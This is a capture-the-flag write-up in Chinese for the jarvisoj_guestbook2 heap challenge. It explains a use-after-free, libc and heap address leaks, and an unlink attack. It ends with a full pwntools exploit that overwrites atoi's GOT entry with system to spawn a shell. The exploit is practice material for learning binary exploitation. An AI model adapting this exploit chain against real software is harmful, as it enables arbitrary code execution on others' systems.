首页 > 其他分享 >jarvisoj_guestbook2

jarvisoj_guestbook2

时间:2023-03-13 20:45:25浏览次数:51  
标签:p64 chunk guestbook2 0x80 sendlineafter jarvisoj new payload

jarvisoj_guestbook2

学完最新的几个house系列感觉基础不太好就在学习一下栈堆,

程序分析

就是一个菜单题,有一个uaf,版本是2.23,而且可以修改got表,就打一个unlink,修改atoi的got表

image-20230313195548342

在程序开始前申请一个大chunk用来存放接下来申请的chunk的标志位,地址,大小

image-20230313195116804

main函数有四个功能,增,改,读,删(申请最小的是0x80)

image-20230313195456785

image-20230313195513447

漏洞利用

首先泄露出lib地和堆地址

在show中他用的printf参数是%s,这个参数是遇到\x00被截断,再加上这个show是打印所有的,我们就可以先释放两个chunk进入unsorted bin中记住这两个chunk不能相连要不然就会合并了。也要不能和top chunk合并

add 0x80 0x80*b'a'

add 0x80 0x80*b'b'

add 0x80 0x80*b'c'

add 0x80 0x80*b'd'

接下来就是打一个unlink,说实话我忘得差不多了,又学一边。大概意思就是利用溢出或者uaf在向高地址的chunk1中编辑或者写入的时候自己伪造一个chunk2这个chunk伪造是由要求的他的pri_size的大小等于chunk1-chunk2,因为在unlink是通过减pri_size来找到上一个被释放的chunk的地址,size位的最后一个字节是0表示上一个chunk处于释放状态,同时必须存在指向chunk2的指针,这也是为什么要uaf或者溢出了

看一下堆的变化

image-20230313201512898

exp

from tools import*
p,e,libc=load('a')

context.log_level='debug'
def new(size,context):
    p.sendlineafter('Your choice: ','2')
    p.sendlineafter("Length of new post: ",str(size))
    p.sendafter('Enter your post: ',context)
def list():
    p.sendlineafter('Your choice: ','1')
def edit(index,size,context):
    p.sendlineafter('Your choice: ','3')
    p.sendlineafter('Post number: ',str(index))
    p.sendlineafter('Length of post: ',str(size))
    p.sendafter('Enter your post: ',context)
def delete(index):
    p.sendlineafter('Your choice: ','4')
    p.sendlineafter('Post number: ',str(index))

new(0x80,0x80*'a') #0
new(0x80,0x80*'b') #1
new(0x80,0x80*'c') #2
new(0x80,0x80*'d') #3

delete(0)
delete(2)
new(8,8*'x')
new(8,8*'w')

list()
p.recvuntil('xxxxxxxx')
heap=u64(p.recv(4).ljust(8,b'\x00'))
log_addr('heap')
p.recvuntil('wwwwwwww')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3c3b78 #0x3c4b78  #
sys_addr=libc_base+libc.symbols['system']#0x45380  0x0000000000045390#
log_addr('libc_base')
delete(0)
delete(1)
delete(2)
delete(3)
ptr=heap-0x1910
log_addr('ptr')
debug(p,0x400CA5,0x40106A,0x400B96)     
payload=p64(0)+p64(0x81)+p64(ptr-0x18)+p64(ptr-0x10)
payload=payload.ljust(0x80,b'a')
payload+=p64(0x80)+p64(0x90)
payload+=b'a'*0x80+p64(0x0)+p64(0x71)   
new(len(payload),payload)
delete(1)
payload=p64(0)+p64(1)+p64(0x8)+p64(e.got['atoi'])
edit(0,0x120,payload.ljust(0x120,b'a'))
edit(0,8,p64(sys_addr))
p.sendlineafter('Your choice: ',b'/bin/sh\x00')
p.interactive()



参考

https://zikh26.github.io/posts/f118134e.html

标签:p64,chunk,guestbook2,0x80,sendlineafter,jarvisoj,new,payload
From: https://www.cnblogs.com/trunk/p/17212802.html

相关文章

  • jarvisoj_level2_x64
    jarvisoj_level2_x64定期刷pwn*21.检查仅仅只是个NX罢了2.找漏洞找到入口0x200,很厚道啊找到shell和system函数找到garget来给rdi传参路线仍然是栈溢出3.配......
  • pwn | jarvisoj_level3
    pwn|jarvisoj_level3x86ret2libc非常常规的ret2libcexp:frompwnimport*fromLibcSearcher.LibcSearcherimport*context.log_level='debug'elf=ELF('.......
  • pwn | jarvisoj_tell_me_something
    pwn|jarvisoj_tell_me_somethingx64栈溢出ret2text存在后门直接溢出跳过去就行了。唯一有点区别的就是这里面没有pushebp和popebp,所以只需要覆盖0x88就行了exp......
  • jarvisoj_fm
    【格式化字符串漏洞】【Write-up】BUUCTFjarvisoj_fm原题链接【格式化字符串漏洞】【Write-up】BUUCTFjarvisoj_fmchecksec查看程序架构ida查看程序伪代码构建exp......
  • jarvisoj_level2_x64
    【Write-up】BUUCTFJarvisoj_level2_x64原题链接【Write-up】BUUCTFJarvisoj_level2_x64checksec查看架构ida查看伪代码构建exp完整expchecksec查看......
  • jarvisoj_level3_x64
    InvolvedKnowledgeretlibcTheleakofthewritefunctionchecksecArch:amd64-64-littleRELRO:NoRELROStack:NocanaryfoundNX:......